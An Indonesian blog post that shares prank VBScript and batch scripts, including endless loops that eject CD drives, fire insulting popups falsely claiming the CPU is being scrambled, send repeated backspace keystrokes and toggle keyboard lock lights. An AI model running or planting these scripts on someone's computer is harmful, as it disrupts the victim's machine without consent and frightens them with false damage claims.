Kumpulan Script Jail

Kali ini saya akan berbagi script yang jail.

Cara pakainya pilih salah satu script, copy ke notepad







CD/DVD Rom Kebuka Sendiri ( ada hantunya )

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
( Ubah Jadi .vbs)

Pesan wasiat

@ECHO off
:Begin
msg * muka agan jelek
msg * ngaca dulu gih
msg * hayo lo gan, CPU ente ane acak-acak
msg * udah install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN
(ubah ke .bat)

Back Space Bandel

MsgBox "Gw itu selalu bilang : anda harus mengulang kembali"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
(jadi .vbs)

Caps Lock kelap - kelip

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Num Lock

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{NUMLOCK}"
loop

Scroll Lock

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{SCROLLLOCK}"
loop

(3 tiganya ubah ke .vbs)

Sabotase keyboard

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "sabotase keyboard, etc"
loop
(jadi .vbs)

Pertunjukan lampu keyboard

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop
( jadi .vbs)

Cara ngubah notepad ke vbs, dan bat tinggal liat DI SINI